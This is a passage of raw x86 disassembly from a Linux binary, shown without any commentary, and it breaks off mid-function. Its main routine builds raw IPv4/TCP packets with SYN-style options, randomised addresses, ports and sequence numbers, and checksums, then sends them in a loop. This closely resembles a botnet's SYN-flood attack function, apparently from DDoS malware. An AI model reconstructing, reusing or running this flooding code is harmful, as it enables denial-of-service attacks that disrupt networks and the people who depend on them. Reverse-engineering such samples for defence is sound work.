8049632: 25 ff 00 00 00 and $0xff,%eax | |
8049637: 50 push %eax | |
8049638: 89 c5 mov %eax,%ebp | |
804963a: e8 a5 39 00 00 call 0x804cfe4 | |
804963f: 89 44 24 14 mov %eax,0x14(%esp) | |
8049643: 6a 00 push $0x0 | |
8049645: 6a 02 push $0x2 | |
8049647: 53 push %ebx | |
8049648: 56 push %esi | |
8049649: e8 f2 ee ff ff call 0x8048540 | |
804964e: 88 44 24 55 mov %al,0x55(%esp) | |
8049652: 83 c4 20 add $0x20,%esp | |
8049655: 68 ff ff 00 00 push $0xffff | |
804965a: 6a 03 push $0x3 | |
804965c: 53 push %ebx | |
804965d: 56 push %esi | |
804965e: e8 dd ee ff ff call 0x8048540 | |
8049663: 89 44 24 18 mov %eax,0x18(%esp) | |
8049667: 6a 40 push $0x40 | |
8049669: 6a 04 push $0x4 | |
804966b: 53 push %ebx | |
804966c: 56 push %esi | |
804966d: e8 ce ee ff ff call 0x8048540 | |
8049672: 88 44 24 58 mov %al,0x58(%esp) | |
8049676: 83 c4 20 add $0x20,%esp | |
8049679: 6a 01 push $0x1 | |
804967b: 6a 05 push $0x5 | |
804967d: 53 push %ebx | |
804967e: 56 push %esi | |
804967f: e8 bc ee ff ff call 0x8048540 | |
8049684: 88 44 24 49 mov %al,0x49(%esp) | |
8049688: 68 ff ff 00 00 push $0xffff | |
804968d: 6a 06 push $0x6 | |
804968f: 53 push %ebx | |
8049690: 56 push %esi | |
8049691: e8 aa ee ff ff call 0x8048540 | |
8049696: 89 44 24 2c mov %eax,0x2c(%esp) | |
804969a: 83 c4 20 add $0x20,%esp | |
804969d: 68 ff ff 00 00 push $0xffff | |
80496a2: 6a 07 push $0x7 | |
80496a4: 53 push %ebx | |
80496a5: 56 push %esi | |
80496a6: e8 95 ee ff ff call 0x8048540 | |
80496ab: 89 44 24 20 mov %eax,0x20(%esp) | |
80496af: 68 ff ff 00 00 push $0xffff | |
80496b4: 6a 11 push $0x11 | |
80496b6: 53 push %ebx | |
80496b7: 56 push %esi | |
80496b8: e8 83 ee ff ff call 0x8048540 | |
80496bd: 89 44 24 34 mov %eax,0x34(%esp) | |
80496c1: 83 c4 20 add $0x20,%esp | |
80496c4: 6a 00 push $0x0 | |
80496c6: 6a 12 push $0x12 | |
80496c8: 53 push %ebx | |
80496c9: 56 push %esi | |
80496ca: e8 71 ee ff ff call 0x8048540 | |
80496cf: 89 44 24 28 mov %eax,0x28(%esp) | |
80496d3: 6a 00 push $0x0 | |
80496d5: 6a 0b push $0xb | |
80496d7: 53 push %ebx | |
80496d8: 56 push %esi | |
80496d9: e8 62 ee ff ff call 0x8048540 | |
80496de: 89 44 24 3c mov %eax,0x3c(%esp) | |
80496e2: 83 c4 20 add $0x20,%esp | |
80496e5: 6a 00 push $0x0 | |
80496e7: 6a 0c push $0xc | |
80496e9: 53 push %ebx | |
80496ea: 56 push %esi | |
80496eb: e8 50 ee ff ff call 0x8048540 | |
80496f0: 89 44 24 30 mov %eax,0x30(%esp) | |
80496f4: 6a 00 push $0x0 | |
80496f6: 6a 0d push $0xd | |
80496f8: 53 push %ebx | |
80496f9: 56 push %esi | |
80496fa: e8 41 ee ff ff call 0x8048540 | |
80496ff: 89 44 24 44 mov %eax,0x44(%esp) | |
8049703: 83 c4 20 add $0x20,%esp | |
8049706: 6a 00 push $0x0 | |
8049708: 6a 0e push $0xe | |
804970a: 53 push %ebx | |
804970b: 56 push %esi | |
804970c: e8 2f ee ff ff call 0x8048540 | |
8049711: 89 44 24 38 mov %eax,0x38(%esp) | |
8049715: 6a 01 push $0x1 | |
8049717: 6a 0f push $0xf | |
8049719: 53 push %ebx | |
804971a: 56 push %esi | |
804971b: e8 20 ee ff ff call 0x8048540 | |
8049720: 89 44 24 4c mov %eax,0x4c(%esp) | |
8049724: 83 c4 20 add $0x20,%esp | |
8049727: 6a 00 push $0x0 | |
8049729: 6a 10 push $0x10 | |
804972b: 53 push %ebx | |
804972c: 56 push %esi | |
804972d: e8 0e ee ff ff call 0x8048540 | |
8049732: 89 c7 mov %eax,%edi | |
8049734: a1 08 f1 04 08 mov 0x804f108,%eax | |
8049739: 50 push %eax | |
804973a: 6a 19 push $0x19 | |
804973c: 53 push %ebx | |
804973d: 56 push %esi | |
804973e: e8 9d ed ff ff call 0x80484e0 | |
8049743: 89 44 24 60 mov %eax,0x60(%esp) | |
8049747: 83 c4 1c add $0x1c,%esp | |
804974a: 6a 06 push $0x6 | |
804974c: 6a 03 push $0x3 | |
804974e: 6a 02 push $0x2 | |
8049750: e8 ca 30 00 00 call 0x804c81f | |
8049755: 89 44 24 40 mov %eax,0x40(%esp) | |
8049759: 83 c4 10 add $0x10,%esp | |
804975c: 40 inc %eax | |
804975d: 0f 84 bc 03 00 00 je 0x8049b1f | |
8049763: c7 44 24 58 01 00 00 movl $0x1,0x58(%esp) | |
804976a: 00 | |
804976b: 83 ec 0c sub $0xc,%esp | |
804976e: 6a 04 push $0x4 | |
8049770: 8d 44 24 68 lea 0x68(%esp),%eax | |
8049774: 50 push %eax | |
8049775: 6a 03 push $0x3 | |
8049777: 6a 00 push $0x0 | |
8049779: 8b 44 24 4c mov 0x4c(%esp),%eax | |
804977d: 50 push %eax | |
804977e: e8 61 30 00 00 call 0x804c7e4 | |
8049783: 83 c4 20 add $0x20,%esp | |
8049786: 40 inc %eax | |
8049787: 0f 84 82 03 00 00 je 0x8049b0f | |
804978d: 8b 54 24 08 mov 0x8(%esp),%edx | |
8049791: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
8049795: 66 89 54 24 36 mov %dx,0x36(%esp) | |
804979a: 8b 44 24 10 mov 0x10(%esp),%eax | |
804979e: 8a 54 24 1c mov 0x1c(%esp),%dl | |
80497a2: 66 89 4c 24 3a mov %cx,0x3a(%esp) | |
80497a7: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
80497ac: 88 54 24 3f mov %dl,0x3f(%esp) | |
80497b0: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp) | |
80497b7: 00 | |
80497b8: 85 ed test %ebp,%ebp | |
80497ba: 0f 8e 81 01 00 00 jle 0x8049941 | |
80497c0: 83 e2 01 and $0x1,%edx | |
80497c3: 8a 44 24 20 mov 0x20(%esp),%al | |
80497c7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
80497cb: 88 54 24 03 mov %dl,0x3(%esp) | |
80497cf: 83 e0 01 and $0x1,%eax | |
80497d2: 66 89 4c 24 46 mov %cx,0x46(%esp) | |
80497d7: 88 44 24 48 mov %al,0x48(%esp) | |
80497db: 8a 54 24 24 mov 0x24(%esp),%dl | |
80497df: 8a 4c 24 28 mov 0x28(%esp),%cl | |
80497e3: 8a 44 24 2c mov 0x2c(%esp),%al | |
80497e7: c0 64 24 03 05 shlb $0x5,0x3(%esp) | |
80497ec: 83 e2 01 and $0x1,%edx | |
80497ef: 83 e1 01 and $0x1,%ecx | |
80497f2: 83 e0 01 and $0x1,%eax | |
80497f5: 88 54 24 49 mov %dl,0x49(%esp) | |
80497f9: 88 4c 24 4a mov %cl,0x4a(%esp) | |
80497fd: 88 44 24 4b mov %al,0x4b(%esp) | |
8049801: 83 e7 01 and $0x1,%edi | |
8049804: 31 db xor %ebx,%ebx | |
8049806: 56 push %esi | |
8049807: 56 push %esi | |
8049808: 6a 01 push $0x1 | |
804980a: 68 80 00 00 00 push $0x80 | |
804980f: e8 d0 37 00 00 call 0x804cfe4 | |
8049814: 8b 54 24 14 mov 0x14(%esp),%edx | |
8049818: 89 04 9a mov %eax,(%edx,%ebx,4) | |
804981b: 8b 44 24 68 mov 0x68(%esp),%eax | |
804981f: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
8049822: c6 03 45 movb $0x45,(%ebx) | |
8049825: 8d 73 14 lea 0x14(%ebx),%esi | |
8049828: 8a 4c 24 45 mov 0x45(%esp),%cl | |
804982c: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx) | |
8049832: 88 4b 01 mov %cl,0x1(%ebx) | |
8049835: 66 8b 44 24 46 mov 0x46(%esp),%ax | |
804983a: 66 c1 c8 08 ror $0x8,%ax | |
804983e: 66 89 43 04 mov %ax,0x4(%ebx) | |
8049842: 8a 44 24 48 mov 0x48(%esp),%al | |
8049846: 83 c4 10 add $0x10,%esp | |
8049849: 88 43 08 mov %al,0x8(%ebx) | |
804984c: 80 7c 24 39 00 cmpb $0x0,0x39(%esp) | |
8049851: 74 06 je 0x8049859 | |
8049853: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx) | |
8049859: c6 43 09 06 movb $0x6,0x9(%ebx) | |
804985d: 8b 54 24 40 mov 0x40(%esp),%edx | |
8049861: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8049865: 89 53 0c mov %edx,0xc(%ebx) | |
8049868: 8b 44 24 58 mov 0x58(%esp),%eax | |
804986c: 8d 04 40 lea (%eax,%eax,2),%eax | |
804986f: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8049873: 89 43 10 mov %eax,0x10(%ebx) | |
8049876: 66 8b 44 24 3a mov 0x3a(%esp),%ax | |
804987b: 66 c1 c8 08 ror $0x8,%ax | |
804987f: 66 89 43 14 mov %ax,0x14(%ebx) | |
8049883: 8b 44 24 3c mov 0x3c(%esp),%eax | |
8049887: 66 c1 c8 08 ror $0x8,%ax | |
804988b: 66 89 46 02 mov %ax,0x2(%esi) | |
804988f: 66 8b 44 24 46 mov 0x46(%esp),%ax | |
8049894: 66 c1 c8 08 ror $0x8,%ax | |
8049898: 25 ff ff 00 00 and $0xffff,%eax | |
804989d: 89 46 04 mov %eax,0x4(%esi) | |
80498a0: 8a 46 0c mov 0xc(%esi),%al | |
80498a3: 83 e0 0f and $0xf,%eax | |
80498a6: 83 c8 a0 or $0xffffffa0,%eax | |
80498a9: 88 46 0c mov %al,0xc(%esi) | |
80498ac: 8a 46 0d mov 0xd(%esi),%al | |
80498af: 83 e0 cf and $0xffffffcf,%eax | |
80498b2: 8a 54 24 48 mov 0x48(%esp),%dl | |
80498b6: 0a 44 24 03 or 0x3(%esp),%al | |
80498ba: 8a 4c 24 49 mov 0x49(%esp),%cl | |
80498be: c1 e2 04 shl $0x4,%edx | |
80498c1: c1 e1 03 shl $0x3,%ecx | |
80498c4: 09 d0 or %edx,%eax | |
80498c6: 83 e0 f3 and $0xfffffff3,%eax | |
80498c9: 8a 54 24 4a mov 0x4a(%esp),%dl | |
80498cd: c1 e2 02 shl $0x2,%edx | |
80498d0: 09 c8 or %ecx,%eax | |
80498d2: 09 d0 or %edx,%eax | |
80498d4: 8a 54 24 4b mov 0x4b(%esp),%dl | |
80498d8: 01 d2 add %edx,%edx | |
80498da: 83 e0 fc and $0xfffffffc,%eax | |
80498dd: 09 d0 or %edx,%eax | |
80498df: 09 f8 or %edi,%eax | |
80498e1: 88 46 0d mov %al,0xd(%esi) | |
80498e4: c6 43 28 02 movb $0x2,0x28(%ebx) | |
80498e8: c6 43 29 04 movb $0x4,0x29(%ebx) | |
80498ec: e8 5f 1a 00 00 call 0x804b350 | |
80498f1: c6 43 2c 04 movb $0x4,0x2c(%ebx) | |
80498f5: 83 e0 0f and $0xf,%eax | |
80498f8: c6 43 2d 02 movb $0x2,0x2d(%ebx) | |
80498fc: 05 78 05 00 00 add $0x578,%eax | |
8049901: c6 43 2e 08 movb $0x8,0x2e(%ebx) | |
8049905: 66 c1 c8 08 ror $0x8,%ax | |
8049909: c6 43 2f 0a movb $0xa,0x2f(%ebx) | |
804990d: 66 89 43 2a mov %ax,0x2a(%ebx) | |
8049911: e8 3a 1a 00 00 call 0x804b350 | |
8049916: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx) | |
804991d: 89 43 30 mov %eax,0x30(%ebx) | |
8049920: c6 43 38 01 movb $0x1,0x38(%ebx) | |
8049924: c6 43 39 03 movb $0x3,0x39(%ebx) | |
8049928: c6 43 3a 03 movb $0x3,0x3a(%ebx) | |
804992c: c6 43 3b 06 movb $0x6,0x3b(%ebx) | |
8049930: 8b 5c 24 58 mov 0x58(%esp),%ebx | |
8049934: 43 inc %ebx | |
8049935: 89 5c 24 58 mov %ebx,0x58(%esp) | |
8049939: 39 dd cmp %ebx,%ebp | |
804993b: 0f 8f c5 fe ff ff jg 0x8049806 | |
8049941: 85 ed test %ebp,%ebp | |
8049943: 7e fe jle 0x8049943 | |
8049945: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp) | |
804994c: 00 | |
804994d: 31 c0 xor %eax,%eax | |
804994f: 8b 54 24 04 mov 0x4(%esp),%edx | |
8049953: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8049957: 8b 34 82 mov (%edx,%eax,4),%esi | |
804995a: 8d 04 40 lea (%eax,%eax,2),%eax | |
804995d: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
8049960: 8d 7e 14 lea 0x14(%esi),%edi | |
8049963: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8049967: 0f 86 d1 00 00 00 jbe 0x8049a3e | |
804996d: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp) | |
8049972: 0f 84 0b 01 00 00 je 0x8049a83 | |
8049978: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp) | |
804997e: 0f 84 13 01 00 00 je 0x8049a97 | |
8049984: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
804998a: 0f 84 1c 01 00 00 je 0x8049aac | |
8049990: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp) | |
8049996: 0f 84 25 01 00 00 je 0x8049ac1 | |
804999c: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp) | |
80499a3: 00 | |
80499a4: 0f 84 2e 01 00 00 je 0x8049ad8 | |
80499aa: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
80499b1: 00 | |
80499b2: 0f 84 36 01 00 00 je 0x8049aee | |
80499b8: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp) | |
80499bd: 0f 85 3e 01 00 00 jne 0x8049b01 | |
80499c3: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
80499c9: 51 push %ecx | |
80499ca: 51 push %ecx | |
80499cb: 6a 14 push $0x14 | |
80499cd: 56 push %esi | |
80499ce: e8 5d 01 00 00 call 0x8049b30 | |
80499d3: 66 89 46 0a mov %ax,0xa(%esi) | |
80499d7: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
80499dd: 6a 28 push $0x28 | |
80499df: 68 00 28 00 00 push $0x2800 | |
80499e4: 57 push %edi | |
80499e5: 56 push %esi | |
80499e6: e8 95 01 00 00 call 0x8049b80 | |
80499eb: 8b 8c 24 94 00 00 00 mov 0x94(%esp),%ecx | |
80499f2: 66 89 47 10 mov %ax,0x10(%edi) | |
80499f6: 8b 44 24 78 mov 0x78(%esp),%eax | |
80499fa: 66 8b 57 02 mov 0x2(%edi),%dx | |
80499fe: 83 c4 18 add $0x18,%esp | |
8049a01: 8d 04 40 lea (%eax,%eax,2),%eax | |
8049a04: c1 e0 03 shl $0x3,%eax | |
8049a07: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
8049a0c: 01 c8 add %ecx,%eax | |
8049a0e: 6a 10 push $0x10 | |
8049a10: 50 push %eax | |
8049a11: 68 00 40 00 00 push $0x4000 | |
8049a16: 6a 3c push $0x3c | |
8049a18: 56 push %esi | |
8049a19: 8b 54 24 4c mov 0x4c(%esp),%edx | |
8049a1d: 52 push %edx | |
8049a1e: e8 7e 2d 00 00 call 0x804c7a1 | |
8049a23: 8b 44 24 78 mov 0x78(%esp),%eax | |
8049a27: 40 inc %eax | |
8049a28: 89 44 24 78 mov %eax,0x78(%esp) | |
8049a2c: 83 c4 20 add $0x20,%esp | |
8049a2f: 39 e8 cmp %ebp,%eax | |
8049a31: 0f 8c 18 ff ff ff jl 0x804994f | |
8049a37: 85 ed test %ebp,%ebp | |
8049a39: e9 05 ff ff ff jmp 0x8049943 | |
8049a3e: 8b 58 10 mov 0x10(%eax),%ebx | |
8049a41: e8 0a 19 00 00 call 0x804b350 | |
8049a46: 66 c1 cb 08 ror $0x8,%bx | |
8049a4a: c1 cb 10 ror $0x10,%ebx | |
8049a4d: 66 c1 cb 08 ror $0x8,%bx | |
8049a51: 8b 54 24 58 mov 0x58(%esp),%edx | |
8049a55: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
8049a58: 8b 54 24 74 mov 0x74(%esp),%edx | |
8049a5c: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8049a60: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8049a66: d3 e8 shr %cl,%eax | |
8049a68: 01 d8 add %ebx,%eax | |
8049a6a: 66 c1 c8 08 ror $0x8,%ax | |
8049a6e: c1 c8 10 ror $0x10,%eax | |
8049a71: 66 c1 c8 08 ror $0x8,%ax | |
8049a75: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp) | |
8049a7a: 89 46 10 mov %eax,0x10(%esi) | |
8049a7d: 0f 85 f5 fe ff ff jne 0x8049978 | |
8049a83: e8 c8 18 00 00 call 0x804b350 | |
8049a88: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp) | |
8049a8e: 89 46 0c mov %eax,0xc(%esi) | |
8049a91: 0f 85 ed fe ff ff jne 0x8049984 | |
8049a97: e8 b4 18 00 00 call 0x804b350 | |
8049a9c: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049aa2: 66 89 46 04 mov %ax,0x4(%esi) | |
8049aa6: 0f 85 e4 fe ff ff jne 0x8049990 | |
8049aac: e8 9f 18 00 00 call 0x804b350 | |
8049ab1: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp) | |
8049ab7: 66 89 46 14 mov %ax,0x14(%esi) | |
8049abb: 0f 85 db fe ff ff jne 0x804999c | |
8049ac1: e8 8a 18 00 00 call 0x804b350 | |
8049ac6: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp) | |
8049acd: 00 | |
8049ace: 66 89 47 02 mov %ax,0x2(%edi) | |
8049ad2: 0f 85 d2 fe ff ff jne 0x80499aa | |
8049ad8: e8 73 18 00 00 call 0x804b350 | |
8049add: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
8049ae4: 00 | |
8049ae5: 89 47 04 mov %eax,0x4(%edi) | |
8049ae8: 0f 85 ca fe ff ff jne 0x80499b8 | |
8049aee: e8 5d 18 00 00 call 0x804b350 | |
8049af3: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp) | |
8049af8: 89 47 08 mov %eax,0x8(%edi) | |
8049afb: 0f 84 c2 fe ff ff je 0x80499c3 | |
8049b01: e8 4a 18 00 00 call 0x804b350 | |
8049b06: 66 89 47 12 mov %ax,0x12(%edi) | |
8049b0a: e9 b4 fe ff ff jmp 0x80499c3 | |
8049b0f: 83 ec 0c sub $0xc,%esp | |
8049b12: 8b 7c 24 3c mov 0x3c(%esp),%edi | |
8049b16: 57 push %edi | |
8049b17: e8 b7 25 00 00 call 0x804c0d3 | |
8049b1c: 83 c4 10 add $0x10,%esp | |
8049b1f: 83 c4 5c add $0x5c,%esp | |
8049b22: 5b pop %ebx | |
8049b23: 5e pop %esi | |
8049b24: 5f pop %edi | |
8049b25: 5d pop %ebp | |
8049b26: c3 ret | |
8049b27: 90 nop | |
8049b28: 90 nop | |
8049b29: 90 nop | |
8049b2a: 90 nop | |
8049b2b: 90 nop | |
8049b2c: 90 nop | |
8049b2d: 90 nop | |
8049b2e: 90 nop | |
8049b2f: 90 nop | |
8049b30: 53 push %ebx | |
8049b31: 31 db xor %ebx,%ebx | |
8049b33: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
8049b37: 8b 54 24 08 mov 0x8(%esp),%edx | |
8049b3b: 83 f9 01 cmp $0x1,%ecx | |
8049b3e: 76 15 jbe 0x8049b55 | |
8049b40: 66 8b 02 mov (%edx),%ax | |
8049b43: 83 e9 02 sub $0x2,%ecx | |
8049b46: 25 ff ff 00 00 and $0xffff,%eax | |
8049b4b: 83 c2 02 add $0x2,%edx | |
8049b4e: 01 c3 add %eax,%ebx | |
8049b50: 83 f9 01 cmp $0x1,%ecx | |
8049b53: 77 eb ja 0x8049b40 | |
8049b55: 49 dec %ecx | |
8049b56: 75 05 jne 0x8049b5d | |
8049b58: 0f be 02 movsbl (%edx),%eax | |
8049b5b: 01 c3 add %eax,%ebx | |
8049b5d: 89 d8 mov %ebx,%eax | |
8049b5f: 0f b7 d3 movzwl %bx,%edx | |
8049b62: c1 e8 10 shr $0x10,%eax | |
8049b65: 5b pop %ebx | |
8049b66: 01 d0 add %edx,%eax | |
8049b68: 89 c2 mov %eax,%edx | |
8049b6a: c1 ea 10 shr $0x10,%edx | |
8049b6d: 01 d0 add %edx,%eax | |
8049b6f: 83 f0 ff xor $0xffffffff,%eax | |
8049b72: 25 ff ff 00 00 and $0xffff,%eax | |
8049b77: c3 ret | |
8049b78: 90 nop | |
8049b79: 90 nop | |
8049b7a: 90 nop | |
8049b7b: 90 nop | |
8049b7c: 90 nop | |
8049b7d: 90 nop | |
8049b7e: 90 nop | |
8049b7f: 90 nop | |
8049b80: 55 push %ebp | |
8049b81: 57 push %edi | |
8049b82: 56 push %esi | |
8049b83: 53 push %ebx | |
8049b84: 83 ec 04 sub $0x4,%esp | |
8049b87: 31 db xor %ebx,%ebx | |
8049b89: 8b 74 24 18 mov 0x18(%esp),%esi | |
8049b8d: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
8049b91: 8b 44 24 20 mov 0x20(%esp),%eax | |
8049b95: 8b 54 24 1c mov 0x1c(%esp),%edx | |
8049b99: 66 89 44 24 02 mov %ax,0x2(%esp) | |
8049b9e: 8b 7e 0c mov 0xc(%esi),%edi | |
8049ba1: 8b 6e 10 mov 0x10(%esi),%ebp | |
8049ba4: 83 f9 01 cmp $0x1,%ecx | |
8049ba7: 7e 1c jle 0x8049bc5 | |
8049ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
8049bb0: 66 8b 02 mov (%edx),%ax | |
8049bb3: 83 e9 02 sub $0x2,%ecx | |
8049bb6: 25 ff ff 00 00 and $0xffff,%eax | |
8049bbb: 83 c2 02 add $0x2,%edx | |
8049bbe: 01 c3 add %eax,%ebx | |
8049bc0: 83 f9 01 cmp $0x1,%ecx | |
8049bc3: 7f eb jg 0x8049bb0 | |
8049bc5: 49 dec %ecx | |
8049bc6: 74 64 je 0x8049c2c | |
8049bc8: 89 e9 mov %ebp,%ecx | |
8049bca: 31 c0 xor %eax,%eax | |
8049bcc: c1 e9 10 shr $0x10,%ecx | |
8049bcf: 8a 46 09 mov 0x9(%esi),%al | |
8049bd2: 66 c1 c8 08 ror $0x8,%ax | |
8049bd6: 8d 0c 0b lea (%ebx,%ecx,1),%ecx | |
8049bd9: 25 ff ff 00 00 and $0xffff,%eax | |
8049bde: 01 c1 add %eax,%ecx | |
8049be0: 89 fa mov %edi,%edx | |
8049be2: 89 f8 mov %edi,%eax | |
8049be4: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049bea: c1 e8 10 shr $0x10,%eax | |
8049bed: 01 d0 add %edx,%eax | |
8049bef: 89 ea mov %ebp,%edx | |
8049bf1: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049bf7: 01 d0 add %edx,%eax | |
8049bf9: 66 8b 54 24 02 mov 0x2(%esp),%dx | |
8049bfe: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049c04: 01 d0 add %edx,%eax | |
8049c06: 8d 04 01 lea (%ecx,%eax,1),%eax | |
8049c09: 89 c2 mov %eax,%edx | |
8049c0b: c1 ea 10 shr $0x10,%edx | |
8049c0e: 74 0e je 0x8049c1e | |
8049c10: 25 ff ff 00 00 and $0xffff,%eax | |
8049c15: 01 d0 add %edx,%eax | |
8049c17: 89 c2 mov %eax,%edx | |
8049c19: c1 ea 10 shr $0x10,%edx | |
8049c1c: 75 f2 jne 0x8049c10 | |
8049c1e: 83 f0 ff xor $0xffffffff,%eax | |
8049c21: 5a pop %edx | |
8049c22: 25 ff ff 00 00 and $0xffff,%eax | |
8049c27: 5b pop %ebx | |
8049c28: 5e pop %esi | |
8049c29: 5f pop %edi | |
8049c2a: 5d pop %ebp | |
8049c2b: c3 ret | |
8049c2c: 31 c0 xor %eax,%eax | |
8049c2e: 8a 02 mov (%edx),%al | |
8049c30: 01 c3 add %eax,%ebx | |
8049c32: eb 94 jmp 0x8049bc8 | |
8049c34: 90 nop | |
8049c35: 90 nop | |
8049c36: 90 nop | |
8049c37: 90 nop | |
8049c38: 90 nop | |
8049c39: 90 nop | |
8049c3a: 90 nop | |
8049c3b: 90 nop | |
8049c3c: 90 nop | |
8049c3d: 90 nop | |
8049c3e: 90 nop | |
8049c3f: 90 nop | |
8049c40: 55 push %ebp | |
8049c41: 57 push %edi | |
8049c42: 56 push %esi | |
8049c43: 53 push %ebx | |
8049c44: 81 ec 3c 22 00 00 sub $0x223c,%esp | |
8049c4a: 8d bc 24 1b 20 00 00 lea 0x201b(%esp),%edi | |
8049c51: 8b 9c 24 50 22 00 00 mov 0x2250(%esp),%ebx | |
8049c58: c7 84 24 2c 22 00 00 movl $0x0,0x222c(%esp) | |
8049c5f: 00 00 00 00 | |
8049c63: c7 84 24 30 22 00 00 movl $0x0,0x2230(%esp) | |
8049c6a: 00 00 00 00 | |
8049c6e: c7 84 24 34 22 00 00 movl $0x0,0x2234(%esp) | |
8049c75: 00 00 00 00 | |
8049c79: c7 84 24 38 22 00 00 movl $0x0,0x2238(%esp) | |
8049c80: 00 00 00 00 | |
8049c84: 50 push %eax | |
8049c85: 68 01 02 00 00 push $0x201 | |
8049c8a: 6a 00 push $0x0 | |
8049c8c: 57 push %edi | |
8049c8d: e8 75 29 00 00 call 0x804c607 | |
8049c92: 83 c4 0c add $0xc,%esp | |
8049c95: 66 c1 cb 08 ror $0x8,%bx | |
8049c99: 68 00 10 00 00 push $0x1000 | |
8049c9e: 6a 00 push $0x0 | |
8049ca0: 8d 44 24 27 lea 0x27(%esp),%eax | |
8049ca4: 81 e3 ff ff 00 00 and $0xffff,%ebx | |
8049caa: 50 push %eax | |
8049cab: e8 57 29 00 00 call 0x804c607 | |
8049cb0: 83 c4 0c add $0xc,%esp | |
8049cb3: 68 00 10 00 00 push $0x1000 | |
8049cb8: 6a 00 push $0x0 | |
8049cba: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049cc1: 52 push %edx | |
8049cc2: e8 40 29 00 00 call 0x804c607 | |
8049cc7: 83 c4 0c add $0xc,%esp | |
8049cca: 8d 84 24 20 22 00 00 lea 0x2220(%esp),%eax | |
8049cd1: 50 push %eax | |
8049cd2: 6a 10 push $0x10 | |
8049cd4: 53 push %ebx | |
8049cd5: e8 96 22 00 00 call 0x804bf70 | |
8049cda: 5d pop %ebp | |
8049cdb: 8d 94 24 28 22 00 00 lea 0x2228(%esp),%edx | |
8049ce2: 52 push %edx | |
8049ce3: e8 18 1f 00 00 call 0x804bc00 | |
8049ce8: 83 c4 10 add $0x10,%esp | |
8049ceb: 83 f8 02 cmp $0x2,%eax | |
8049cee: 0f 84 44 05 00 00 je 0x804a238 | |
8049cf4: 83 ec 0c sub $0xc,%esp | |
8049cf7: 6a 0d push $0xd | |
8049cf9: e8 32 19 00 00 call 0x804b630 | |
8049cfe: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
8049d05: e8 26 19 00 00 call 0x804b630 | |
8049d0a: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
8049d11: e8 1a 19 00 00 call 0x804b630 | |
8049d16: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
8049d1d: e8 0e 19 00 00 call 0x804b630 | |
8049d22: 5b pop %ebx | |
8049d23: 5e pop %esi | |
8049d24: 6a 00 push $0x0 | |
8049d26: 6a 11 push $0x11 | |
8049d28: e8 53 18 00 00 call 0x804b580 | |
8049d2d: 5a pop %edx | |
8049d2e: 59 pop %ecx | |
8049d2f: 31 db xor %ebx,%ebx | |
8049d31: 6a 00 push $0x0 | |
8049d33: 50 push %eax | |
8049d34: e8 ab 24 00 00 call 0x804c1e4 | |
8049d39: 83 c4 10 add $0x10,%esp | |
8049d3c: 89 c5 mov %eax,%ebp | |
8049d3e: 83 f8 ff cmp $0xffffffff,%eax | |
8049d41: 0f 84 8a 04 00 00 je 0x804a1d1 | |
8049d47: 50 push %eax | |
8049d48: 55 push %ebp | |
8049d49: 68 00 02 00 00 push $0x200 | |
8049d4e: 57 push %edi | |
8049d4f: e8 7c 20 00 00 call 0x804bdd0 | |
8049d54: 83 c4 10 add $0x10,%esp | |
8049d57: 85 c0 test %eax,%eax | |
8049d59: 0f 84 1f 01 00 00 je 0x8049e7e | |
8049d5f: 8a 84 24 1b 20 00 00 mov 0x201b(%esp),%al | |
8049d66: 84 c0 test %al,%al | |
8049d68: 0f 84 22 04 00 00 je 0x804a190 | |
8049d6e: 31 d2 xor %edx,%edx | |
8049d70: 3c 3a cmp $0x3a,%al | |
8049d72: 0f 84 18 04 00 00 je 0x804a190 | |
8049d78: 42 inc %edx | |
8049d79: 8a 04 3a mov (%edx,%edi,1),%al | |
8049d7c: 84 c0 test %al,%al | |
8049d7e: 74 c7 je 0x8049d47 | |
8049d80: 3c 3a cmp $0x3a,%al | |
8049d82: 75 f4 jne 0x8049d78 | |
8049d84: 84 c0 test %al,%al | |
8049d86: 74 bf je 0x8049d47 | |
8049d88: 8d 4a 02 lea 0x2(%edx),%ecx | |
8049d8b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al | |
8049d92: 84 c0 test %al,%al | |
